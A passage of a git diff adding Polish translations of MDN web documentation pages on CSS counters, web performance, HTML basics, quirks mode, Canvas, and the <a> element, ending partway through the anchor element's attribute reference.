Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Liczniki w CSS zostały opisane w sekcji <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatic counters and numbering</a> dokumentacji CSS 2.1. Wartość licznika jest ustawiana poprzez użycie własności <a href="pl/CSS/counter-reset">counter-reset</a> oraz <a href="pl/CSS/counter-increment">counter-increment</a>, natomiast wyświetlana jest przy wykorzystaniu funkcji counter() lub counters() należących do własności <a href="pl/CSS/content">content</a>.</p> + +<h3 id="Zastosowanie_licznik.C3.B3w" name="Zastosowanie_licznik.C3.B3w">Zastosowanie liczników</h3> + +<p>Aby użyć licznika CSS, należy najpierw ustawić mu wartość (domyślnie jest to 0) przy pomocy własności <a href="pl/CSS/counter-reset">reset</a>. Aby wyświetlić wartość licznika w danym elemencie należy skorzystać z funkcji counter(). Poniższy przykład dodaje na początku każdego elementu <code>h1</code> "Sekcja <code>wartość licznika</code>:".</p> + +<pre> body { + counter-reset: sekcja; /* Ustawienie licznika sekcja na 0 */ + } + h1::before { + counter-increment: sekcja; /* Zwiększa licznik sekcja */ + content: "Sekcja " counter(sekcja) ": "; /* Wyświetla licznik */ + } +</pre> + +<h3 id="Zagnie.C5.BCd.C5.BCanie_licznik.C3.B3w" name="Zagnie.C5.BCd.C5.BCanie_licznik.C3.B3w">Zagnieżdżanie liczników</h3> + +<p>Liczniki CSS mogą być szczególnie użyteczne przy listach uporządkowanych (<code>ol</code>), ponieważ nowa instancja licznika CSS jest automatycznie tworzona dla potomków danego elementu. Użycie funkcji counters() pozwala na dodanie ciągu znaków, który będzie oddzielał kolejne poziomy zagnieżdżonych liczników:</p> + +<pre> ol { + counter-reset: sekcja; /* Tworzy nową instancję licznika + sekcja w każdym elemencie ol */ + list-style-type: none; /* Usuwa domyślnie wyświetlany licznik */ + } + li::before { + counter-increment: sekcja; /* Zwiększa tylko tę instancję + licznika sekcja */ + content: counters(sekcja, ".") " "; /* Wyświetla wartości wszystkich + instancji licznika sekcja, + oddzielając je ciągiem ".". */ + } +</pre> + +<p>Przykładowy HTML (w komentarzach podano wartość wygenerowanego licznika):</p> + +<pre><ol> + <li>item</li> <!-- 1 --> + <li>item <!-- 2 --> + <ol> + <li>item</li> <!-- 2.1 --> + <li>item</li> <!-- 2.2 --> + <li>item <!-- 2.3 --> + <ol> + <li>item</li> <!-- 2.3.1 --> + <li>item</li> <!-- 2.3.2 --> + </ol> + <ol> + <li>item</li> <!-- 2.3.1 --> + <li>item</li> <!-- 2.3.2 --> + <li>item</li> <!-- 2.3.3 --> + </ol> + </li> + <li>item</li> <!-- 2.4 --> + </ol> + </li> + <li>item</li> <!-- 3 --> + <li>item</li> <!-- 4 --> +</ol> +<ol> + <li>item</li> <!-- 1 --> + <li>item</li> <!-- 2 --> +</ol> +</pre> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<ul> + <li><a href="pl/CSS/counter-reset">counter-reset</a></li> + <li><a href="pl/CSS/counter-increment">counter-increment</a></li> +</ul> + +<p><span class="comment">potrzebna treść do artykułu</span></p> + +<p>{{ languages( { "en": "en/CSS_Counters", "fr": "fr/Compteurs_CSS" } ) }}</p> diff --git a/files/pl/web/guide/performance/index.html b/files/pl/web/guide/performance/index.html new file mode 100644 index 0000000000..00c4b9d7fe --- /dev/null +++ b/files/pl/web/guide/performance/index.html @@ -0,0 +1,14 @@ +--- +title: Optimization and performance +slug: Web/Guide/Performance +tags: + - Landing + - NeedsTranslation + - Optimization + - Performance + - TopicStub + - Web +translation_of: Web/Guide/Performance +--- +<p>When building modern Web apps and sites, it's important to make your content perform well. That is, to make it work quickly and efficiently. This lets it work effectively both for users of powerful desktop systems as well as for handheld devices with less power.</p> +<p>{{LandingPageListSubpages}}</p> diff --git a/files/pl/web/html(pl)/index.html b/files/pl/web/html(pl)/index.html new file mode 100644 index 0000000000..2bc10ea70b --- /dev/null +++ b/files/pl/web/html(pl)/index.html @@ -0,0 +1,108 @@ +--- +title: 'HTML: Hipertekstowy Język Znaczników' +slug: Web/HTML(PL) +tags: + - HTML + - HTML5 + - Landing + - Web + - 'l10n:priority' +translation_of: Web/HTML +--- +<div>{{HTMLSidebar}}</div> + +<p class="summary"><span class="seoSummary"><strong>HTML</strong> (HyperText Markup Language) jest najbardziej podstawowym elementem składowym sieci Web. Definiuje on znaczenie i strukturę treści stron internetowych. Inne technologie poza HTML są używane do opisu wyglądu/prezentacji strony internetowej (<a href="https://developer.mozilla.org/pl/docs/Web/CSS">CSS</a>) lub funkcjonalności/zachowania (<a href="https://developer.mozilla.org/pl/docs/Web/JavaScript">JavaScript</a>).</span></p> + +<p>"Hipertekst" (HyperText) odnosi się do linków łączących ze sobą strony internetowe, zarówno w obrębie jednej strony internetowej, jak i pomiędzy różnymi stronami internetowymi. Linki są podstawowym aspektem sieci Web. Umieszczając treści w Internecie i linkując je do stron stworzonych przez inne osoby, stajesz się aktywnym uczestnikiem sieci World Wide Web.</p> + +<p>HTML używa "znaczników" do opisywania tekstu, obrazów i innych treści do wyświetlania w przeglądarce internetowej. Znacznik HTML zawiera specjalne "elementy", takie jak {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} i wiele innych.</p> + +<p>Element HTML jest odróżniany od zwykłego tekstu w dokumencie za pomocą "tagów", które składają się z nazwy elementu otoczonego przez "<" oraz ">". Nazwa elementu wewnątrz znacznika nie rozróżnia wielkości liter. Oznacza to, że może być napisana wielkimi, małymi lub zmieszanymi literami. Na przykład tag <strong><title></strong> może być zapisany jako <Title>,<TITLE> lub w inny sposób.</p> + +<p>Poniższe artykuły pomogą Ci dowiedzieć się więcej o HTML.</p> + +<section class="cleared" id="sect1"> +<ul class="card-grid"> + <li><span>Wprowadzenie do HTML</span> + + <p>Jeśli dopiero rozpoczynasz tworzenie stron internetowych, zapoznaj się z naszym artykułem <a href="https://developer.mozilla.org/pl/docs/Learn/Getting_started_with_the_web/HTML_basics">Podstawy HTML</a>, aby dowiedzieć się czym jest HTML i jak go używać.</p> + </li> + <li><span>Poradniki HTML</span> + <p>Aby zapoznać się z artykułami o tym jak korzystać z HTML, jak również z samouczkami i kompletnymi przykładami, sprawdź naszą <a href="https://developer.mozilla.org/pl/docs/Learn/HTML">Strefę Nauki HTML</a>.</p> + </li> + <li><span>Odniesienia HTML</span> + <p>W naszej obszernej sekcji <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Reference">Odniesienia HTML</a>, znajdziesz szczegóły dotyczące każdego elementu i atrybutu w HTML.</p> + </li> +</ul> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Tools" id="Poradniki_dla_początkujących">Poradniki dla początkujących</h2> + +<p>Nasza <a href="https://developer.mozilla.org/pl/docs/Learn/HTML">Strefa Nauki HTML</a> zawiera wiele modułów, które uczą HTML od podstaw - nie jest wymagana wcześniejsza wiedza.</p> + +<dl> + <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML">Wprowadzenie do HTML</a></dt> + <dd>Ten moduł jest etapem, który pozwala przyzwyczaić się do ważnych pojęć i składni, takich jak spojrzenie na zastosowanie HTML dla tekstu, jak tworzyć hiperłącza i jak używać HTML do strukturyzacji strony internetowej.</dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Multimedia_and_embedding">Multimedia i osadzanie</a></dt> + <dd>Moduł ten wyjaśnia jak używać HTML do umieszczania multimediów na stronach internetowych, w tym różnych sposobów na dodawanie obrazów oraz osadzanie wideo, audio, a nawet całych innych stron internetowych.</dd> + <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Tables">Tabele HTML</a></dt> + <dd>Przedstawienie danych tabelarycznych na stronie internetowej w zrozumiały i dostępny sposób może być wyzwaniem. Moduł ten obejmuje podstawowe znaczniki tabelaryczne wraz z bardziej złożonymi funkcjami, takimi jak implementacja podpisów i podsumowań.</dd> + <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Forms">Formularze HTML</a></dt> + <dd>Formularze są bardzo ważną częścią sieci Web — zapewniają one wiele funkcji potrzebnych do interakcji z witrynami internetowymi, np. rejestracja i logowanie, wysyłanie opinii, kupowanie produktów i wiele więcej. Ten moduł przygotuje Cię do rozpoczęcia tworzenia części formularzy po stronie klienta/front-end.</dd> + <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Howto">Użyj HTML do rozwiązywania częstych problemów</a></dt> + <dd>Zawiera linki do sekcji wyjaśniających, jak używać HTML do rozwiązywania bardzo powszechnych problemów przy tworzeniu strony internetowej: radzenie sobie z tytułami, dodawanie zdjęć lub filmów, podkreślanie treści, tworzenie podstawowej formy, itp.</dd> +</dl> + +<h2 id="Zaawansowane_zagadnienia">Zaawansowane zagadnienia</h2> + +<dl> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/CORS_enabled_image">CORS z włączoną funkcją obrazów</a></dt> + <dd class="landingPageList">Atrybut {{htmlattrxref("crossorigin", "img")}}, w połączeniu z odpowiednim nagłówkiem {{glossary("CORS")}}, pozwala na ładowanie obrazów zdefiniowanych przez element {{HTMLElement("img")}} z innych źródeł i używanie ich w elemencie {{HTMLElement("canvas")}} tak, jakby były ładowane z lokalnego źródła.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/CORS_settings_attributes">Ustawienia atrybutów CORS</a></dt> + <dd class="landingPageList">Niektóre elementy HTML, które zapewniają wsparcie dla <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/CORS">CORS</a>, takie jak {{HTMLElement("img")}} lub {{HTMLElement("video")}}, posiadają atrybut <code>crossorigin</code> (właściwość <code>crossOrigin</code>), który umożliwia konfigurację żądań CORS dla wczytywanych przez ten element danych.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/API/Document/hasFocus">Zarządzanie metodą focus w HTML</a></dt> + <dd class="landingPageList">Atrybut <code><a href="https://developer.mozilla.org/pl/docs/Web/API/DocumentOrShadowRoot/activeElement">activeElement</a></code> w DOM i metoda <code><a href="https://developer.mozilla.org/pl/docs/Web/API/Document/hasFocus">hasFocus()</a></code> w DOM pomagają śledzić i kontrolować interakcje użytkownika z elementami na stronie internetowej.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Zasoby_offline_w_Firefoksie">Korzystanie z pamięci podręcznej aplikacji</a></dt> + <dd class="landingPageList">Buforowanie aplikacji umożliwia uruchamianie aplikacji internetowych w trybie offline. Możesz użyć interfejsu <strong>Application Cache</strong> (<em>AppCache</em>) aby określić zasoby, które przeglądarka powinna buforować i udostępniać użytkownikom offline. Aplikacje, które są buforowane i działają poprawnie, nawet jeśli użytkownicy kliknęli przycisk odświeżania, gdy są w trybie offline.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Preloading_content">Wstępne ładowanie treści z rel="preload"</a></dt> + <dd class="landingPageList">Wartość <code>preload</code> atrybutu {{htmlattrxref("rel", "link")}} elementu {{htmlelement("link")}} pozwala na pisanie deklaratywnych żądań pobrania w sekcji {{htmlelement("head")}} dokumentu HTML, określając zasoby, które strony będą potrzebowały bardzo szybko po załadowaniu, których w związku z tym chcesz rozpocząć ładowanie od razu na początku cyklu życia strony, zanim uruchomi się główna maszyna renderująca w przeglądarce. Dzięki temu są one dostępne wcześniej i istnieje mniejsze ryzyko zablokowania pierwszego renderu strony, co prowadzi do poprawy wydajności. Ten artykuł zawiera podstawowy przewodnik po tym, jak działa <code>ładowanie wstępne</code>.</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Documentation" id="Odniesienia">Odniesienia</h2> + +<dl> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Reference">Odniesienia HTML</a></dt> + <dd class="landingPageList">HTML składa się z elementów, z których każdy może być modyfikowany przez pewną liczbę atrybutów. Dokumenty HTML są ze sobą połączone <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Link_types">linkami</a>.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element">Odniesienia do elementów HTML</a></dt> + <dd class="landingPageList">Przeglądaj listę wszystkich {{glossary("Element", "elementów")}} {{glossary("HTML")}}.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Attributes">Odniesienia do atrybutów HTML</a></dt> + <dd class="landingPageList">Elementy w HTML mają <strong>atrybuty</strong>. Są to dodatkowe wartości, które konfigurują elementy lub dostosowują ich zachowanie na różne sposoby.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">Atrybuty globalne</a></dt> + <dd class="landingPageList">Atrybuty globalne mogą być definiowane na wszystkich <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element">elementach HTML</a>, <em>nawet tych, które nie zostały określone w standardzie</em>. Oznacza to, że wszelkie niestandardowe elementy muszą nadal zezwalać na te atrybuty, nawet jeśli elementy te sprawiają, że dokument jest niezgodny z HTML5.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Elementy_liniowe">Elementy inline</a> oraz <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Elementy_blokowe">Elementy block-level</a></dt> + <dd class="landingPageList">Elementy HTML są zazwyczaj elementami "inline" lub "block-level". Element inline zajmuje tylko przestrzeń ograniczoną znacznikami, które go definiują. Element block-level zajmuje całą przestrzeń elementu nadrzędnego (kontenera), tworząc w ten sposób "blok".</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Link_types">Rodzaje odnośników</a></dt> + <dd class="landingPageList">W HTML, różne typy linków mogą być użyte do nawiązania i zdefiniowania relacji pomiędzy dwoma dokumentami. Elementy odnośników, na których można ustawiać typy to {{HTMLElement("a")}}, {{HTMLElement("area")}} oraz {{HTMLElement("link")}}.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Supported_media_formats">Formaty multimedialne obsługiwane przez elementy audio i wideo</a></dt> + <dd class="landingPageList">Elementy {{HTMLElement("audio")}} oraz {{HTMLElement("video")}} umożliwiają odtwarzanie multimediów audio i wideo. Elementy te stanowią alternatywę dla podobnych funkcji w Adobe Flash i innych wtyczkach.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Rodzaje treści w HTML</a></dt> + <dd class="landingPageList">HTML składa się z kilku rodzajów treści, z których każda może być używana w określonych kontekstach, a w innych jest niedozwolona. Podobnie, każda z nich posiada zestaw innych kategorii zawartości, które mogą zawierać oraz elementy, które mogą lub nie mogą być w nich użyte. To jest przewodnik po tych kategoriach.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Tryb Quirks oraz tryb standardów</a></dt> + <dd class="landingPageList">Historyczne informacje o trybie quirks i trybie standardów.</dd> +</dl> + +<h2 class="landingPageList" id="Tematy_powiązane">Tematy powiązane</h2> + +<dl> + <dt><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Applying_color">Zastosowanie koloru do elementów HTML przy użyciu CSS</a></dt> + <dd>W tym artykule omówiono większość sposobów na użycie CSS w celu dodania kolorów do zawartości HTML, wymieniając które części dokumentów HTML mogą być kolorowane i jakie właściwości CSS mogą być do tego użyte. Zawiera przykłady, odnośniki do narzędzi do budowania palet i wiele innych.</dd> +</dl> +</div> +</div> +<span class="alllinks"><a href="https://developer.mozilla.org/pl/docs/tag/HTML">Zobacz wszystkie...</a></span></section> diff --git a/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html b/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html new file mode 100644 index 0000000000..72018a6571 --- /dev/null +++ b/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html @@ -0,0 +1,54 @@ +--- +title: Tryb Zgodności (Quirks Mode) i Tryb Standardów +slug: Web/HTML(PL)/Tryb_Zgodnosci_oraz_Tryb_Standardow +tags: + - Gecko + - Guide + - HTML + - NeedsUpdate + - Web Development + - Web Standards + - XHTML +translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode +--- +<p>W dawnych czasach strony internetowe zwykle pisane były w dwóch wersjach: Jedna dla Netscape Navigator i jedna dla Microsoft Internet Explorer. Kiedy standardy sieciowe były tworzone w W3C, przeglądarki nie mogły po prostu zacząć z nich korzystać, ponieważ w ten sposób zniszczyłyby większość istniejących stron internetowych. W związku z tym przeglądarki wprowadziły dwa tryby traktowania nowych witryn zgodnych ze standardami w inny sposób niż witryn starej generacji.</p> + +<p>Obecnie w przeglądarkach internetowych stosowane są trzy tryby pracy silników układu graficznego: tryb zgodności (tryb quirks), tryb prawie standardowy oraz tryb pełnego standardu. W <strong>trybie zgodności</strong> układ emuluje niestandardowe zachowanie w Navigator 4 i Internet Explorer 5. Jest to niezbędne do obsługi stron internetowych, które powstały przed powszechnym przyjęciem standardów internetowych. W <strong>trybie pełnych standardów</strong>, zachowanie jest (miejmy nadzieję) zachowaniem opisanym przez specyfikacje HTML i CSS. W <strong>trybie prawie standardowym</strong> zaimplementowana jest bardzo mała liczba kompatybilności.</p> + +<h2 id="How_does_Mozilla_determine_which_mode_to_use.3F" name="How_does_Mozilla_determine_which_mode_to_use.3F">Jak przeglądarki decydują, z którego trybu korzystać?</h2> + +<p>W przypadku dokumentów <a href="https://developer.mozilla.org/pl/docs/Web/HTML(PL)" title="/en-US/docs/HTML">HTML</a>, przeglądarki używają DOCTYPE na początku dokumentu, aby zdecydować, czy obsługiwać go w trybie zgodności, czy też w trybie standardów. Aby zagwarantować, że strona korzysta z trybu pełnego standardu, upewnij się że strona ma DOCTYPE, tak jak w tym przykładzie:</p> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="pl"> + <head> + <meta charset="UTF-8"> + <title>Witaj, Świecie!</title> + </head> + <body> + </body> +</html></pre> + +<p>DOCTYPE pokazany w przykładzie, <code><!DOCTYPE html></code>, jest najprostrzy z możliwych i zalecany przez HTML5. Wcześniejsze wersje standardu HTML zalecały inne warianty, ale wszystkie istniejące obecnie przeglądarki będą korzystały z trybu pełnego standardu dla DOCTYPE, nawet z przestarzałego Internet Explorera 6. Nie ma uzasadnionych powodów, aby używać bardziej skomplikowanego DOCTYPE. Jeśli używasz innego DOCTYPE, możesz być narażony na ryzyko wybrania takiego, który uruchamia prawie standardowy tryb lub tryb zgodności.</p> + +<p>Upewnij się, że umieścisz DOCTYPE bezpośrednio na początku dokumentu HTML. Wszystko przed DOCTYPE, takie jak komentarz czy deklaracja XML, wyzwoli tryb zgodnści w Internet Explorerze 9 i starszych.</p> + +<p>W HTML5, jedynym celem DOCTYPE jest aktywowanie trybu pełnego standardu. Starsze wersje standardu HTML nadawały dodatkowe znaczenie DOCTYPE, ale żadna przeglądarka nie używała DOCTYPE do innych celów niż przełączanie pomiędzy trybem zgodności a trybem standardów.</p> + +<p>Zobacz również szczegółowy opis tego, <a class="external" href="http://hsivonen.iki.fi/doctype/" title="http://hsivonen.iki.fi/doctype/">kiedy różne przeglądarki wybierają różne tryby pracy</a>.</p> + +<h3 id="XHTML">XHTML</h3> + +<p>Jeśli podajesz swoją stronę jako <a href="https://developer.mozilla.org/pl/docs/XHTML" title="XHTML">XHTML</a> używając <code>application/xhtml+xml</code> MIME type w <code>Content-Type</code> HTTP header, nie potrzebujesz DOCTYPE, aby włączyć tryb standardów. Należy jednak pamiętać, że podawanie stron jako <code>application/xhtml+xml</code> spowoduje, że Internet Explorer 8 <a href="/en-US/docs/XHTML#Support" title="XHTML">wyświetli okno dialogowe pobierania</a> nieznanego formatu zamiast wyświetlania strony, ponieważ pierwszą wersją Internet Explorera z obsługą XHTML jest Internet Explorer 9.</p> + +<p>Jeśli tworzysz treści w formacie XHTML używając <code>text/html</code> MIME type, przeglądarki przeczytają je jako HTML i będziesz potrzebował DOCTYPE do korzystania z trybu standardów.</p> + +<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">Jak sprawdzić, który tryb jest używany?</h2> + +<p>W Firefoksie wybierz opcję <em>View Page Info</em> z menu kontekstowego i poszukaj trybu <em>Render Mode</em>.</p> + +<p>W Internet Explorerze naciśnij <em>F12 i poszukaj</em> <em>Document Mode</em>.</p> + +<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">Jakie są różnice pomiędzy trybami?</h2> + +<p>Zobacz <a href="https://developer.mozilla.org/pl/docs/Mozilla/Mozilla_quirks_mode_behavior" title="Mozilla_Quirks_Mode_Behavior">listę zgodności</a> oraz <a href="https://developer.mozilla.org/pl/docs/Mozilla/Gecko_Almost_Standards_Mode" title="Gecko%27s_%22Almost_Standards%22_Mode">tryb prawie standardowy</a>, aby poznać różnice pomiędzy trybami.</p> diff --git a/files/pl/web/html/canvas/index.html b/files/pl/web/html/canvas/index.html new file mode 100644 index 0000000000..e4bf56c5e7 --- /dev/null +++ b/files/pl/web/html/canvas/index.html @@ -0,0 +1,55 @@ +--- +title: Canvas +slug: Web/HTML/Canvas +translation_of: Web/API/Canvas_API +--- +<div> + {{outdated()}}</div> +<div> + <p><strong>Canvas</strong> (<code><canvas></code>) jest nowym elementem <a href="/pl/docs/HTML" title="pl/docs/HTML">HTML</a>, który może być użyty do rysowania grafik przy użyciu skryptów (zazwyczaj <a href="/pl/docs/JavaScript" title="pl/docs/JavaScript">JavaScript</a>). Na przykład może być użyty do rysowania wykresów, tworzenia kompozycji fotografii lub do prostych (i <a href="/pl/docs/Prosty_RayCaster" title="pl/docs/Prosty_RayCaster">nie tylko prostych</a>) animacji.</p> + <p>Po raz pierwszy <code><canvas></code> został przedstawiony przez Apple dla <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Mac OS X Dashboard</a> i później zaimplementowany w Safari. Przeglądarki oparte o silnik <a href="/pl/docs/Gecko" title="pl/docs/Gecko">Gecko</a> począwszy od wersji 1.8 (tj. <a href="/pl/docs/Firefox_1.5_dla_programistów" title="pl/docs/Firefox_1.5_dla_programistów">Firefox 1.5</a> oraz późniejsze) obsługują ten nowy element. Również Opera 9 go wspiera. Czynione są starania, aby <code><canvas></code> był obsługiwany przez Internet Explorera (zobacz ).</p> + <p>Element <code><canvas></code> jest częścią specyfikacji <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> znanej także jako HTML 5.</p> +</div> +<table class="topicpage-table"> + <tbody> + <tr> + <td> + <h2 class="Documentation" id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2> + <dl> + <dt> + <a href="/pl/docs/Rysowanie_grafik_za_pomocą_Canvas" title="pl/docs/Rysowanie_grafik_za_pomocą_Canvas">Rysowanie grafik za pomocą Canvas</a></dt> + <dd> + Wprowadzenie do <code><canvas></code>.</dd> + <dt> + <a href="/pl/docs/Przewodnik_po_canvas" title="pl/docs/Przewodnik_po_canvas">Przewodnik po canvas</a></dt> + <dd> + <code><canvas></code> jest nowym elementem <a href="/pl/docs/HTML" title="pl/docs/HTML">HTML</a>, który może być użyty do rysowania grafik przy użyciu skryptów (zazwyczaj <a href="/pl/docs/JavaScript" title="pl/docs/JavaScript">JavaScript</a>). Na przykład może być użyty do rysowania wykresów, tworzenia kompozycji fotografii lub do prostych (i <a href="/pl/docs/Prosty_RayCaster" title="pl/docs/Prosty_RayCaster">nie tylko prostych</a>) animacji.</dd> + <dt> + <a href="/pl/docs/Fragmenty_kodu/Canvas" title="pl/docs/Fragmenty_kodu/Canvas">Fragmenty kodu:Canvas</a></dt> + <dd> + Fragmenty kodu z użyciem <code><canvas></code>.</dd> + <dt> + <a href="/pl/docs/tag/Przykłady_Canvas" title="Special:Tags?tag=Przykłady_Canvas">Przykłady Canvas</a></dt> + <dd> + Lista różnych przykładów stosujących <code><canvas></code>.</dd> + <dt> + <a href="/pl/docs/Rysowanie_tekstu_za_pomocą_Canvas" title="pl/docs/Rysowanie_tekstu_za_pomocą_Canvas">Rysowanie tekstu za pomocą Canvas</a></dt> + <dd> + Dokumentacja nowych własności <code><canvas></code> dostępnych począwszy od Firefoksa 3</dd> + </dl> + </td> + <td> + <h2 class="Community" id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2> + <ul> + <li>Zobacz fora Mozilli... {{DiscussionList("dev-tech-html","mozilla.dev.tech.html")}}</li> + <li><a class="external" href="http://groups.yahoo.com/group/canvas-developers/">Grupa Yahoo programistów Canvas</a></li> + </ul> + <h2 class="Related_Topics" id="Tematy_powi.C4.85zane" name="Tematy_powi.C4.85zane">Tematy powiązane</h2> + <ul> + <li><a href="/pl/docs/HTML" title="pl/docs/HTML">HTML</a>, <a href="/pl/docs/JavaScript" title="pl/docs/JavaScript">JavaScript</a>, <a href="/pl/docs/CSS" title="pl/docs/CSS">CSS</a>, <a href="/pl/docs/AJAX" title="pl/docs/AJAX">AJAX</a>, <a href="/pl/docs/DOM" title="pl/docs/DOM">DOM</a>, <a href="/pl/docs/SVG" title="pl/docs/SVG">SVG</a></li> + </ul> + </td> + </tr> + </tbody> +</table> +<p> </p> diff --git a/files/pl/web/html/element/a/index.html b/files/pl/web/html/element/a/index.html new file mode 100644 index 0000000000..fbf1e19205 --- /dev/null +++ b/files/pl/web/html/element/a/index.html @@ -0,0 +1,384 @@ +--- +title: '<a>: Element Kotwicy' +slug: Web/HTML/Element/a +tags: + - Element + - HTML + - HTML semantyka na poziomie tekstu + - Reference + - Treść + - Web +translation_of: Web/HTML/Element/a +--- +<p>{{HTMLRef}}</p> + +<p><span class="seoSummary"><strong>Element <code><a></code></strong> w <strong>HTML</strong> (lub element <em>kotwicy</em>) tworzy hiperłącze do innych stron internetowych, plików, miejsc na tej samej stronie, adresów e-mail lub innych adresów URL.</span></p> + +<table class="properties"> + <tbody> + <tr> + <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Treść płynna</a>,<a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content"> Treść frazowania</a>, <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Interactive_content">Treść interaktywna</a>, zawartość zdzieralna.</td> + </tr> + <tr> + <th>Dozwolona zawartość</th> + <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Transparent_content_model">Transparent</a>, zawierający albo <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">treści płynne</a> (z wyłączeniem <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Interactive_content">treści interaktywnych</a>), albo <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">treści frazowania</a>.</td> + </tr> + <tr> + <th>Pominięcie znacznika</th> + <td>Brak, zarówno znacznik początkowy jak i końcowy są obowiązkowe.</td> + </tr> + <tr> + <th>Dozwoleni rodzice</th> + <td>Każdy element, który akceptuje <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">zawartość frazowania</a>, lub każdy element, który akceptuje <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">treści przepływu</a>, ale zawsze z wyłączeniem elementów <code><a></code> (zgodnie z logiczną zasadą symetrii, jeśli znacznik <code><a></code>, jako rodzic, nie może mieć <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Interactive_content">interaktywnej zawartości</a>, to ta sama zawartość <code><a></code> nie może mieć znacznika <code><a></code> jako rodzica).</td> + </tr> + <tr> + <th>Dozwolone role ARIA</th> + <td>{{ARIARole("button")}}, {{ARIARole("checkbox")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}</td> + </tr> + <tr> + <th>Interfejs DOM</th> + <td>{{DOMxRef("HTMLAnchorElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element uwzględnia <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<dl> + <dt>{{HTMLAttrDef("download")}}{{HTMLVersionInline(5)}}</dt> + <dd>Ten atrybut nakazuje przeglądarkom pobieranie adresu URL zamiast nawigowania do niego, więc użytkownik zostanie poproszony o zapisanie go w postaci pliku lokalnego. Jeśli atrybut ma wartość, jest używany jako wstępnie wypełniona nazwa pliku w oknie dialogowym Zapisz (użytkownik nadal może zmienić nazwę, jeśli chce). Nie ma ograniczeń co do dozwolonych wartości, choć <code>/</code> oraz <code>\</code> są konwertowane na podkreślenia. Większość systemów plików ogranicza interpunkcję 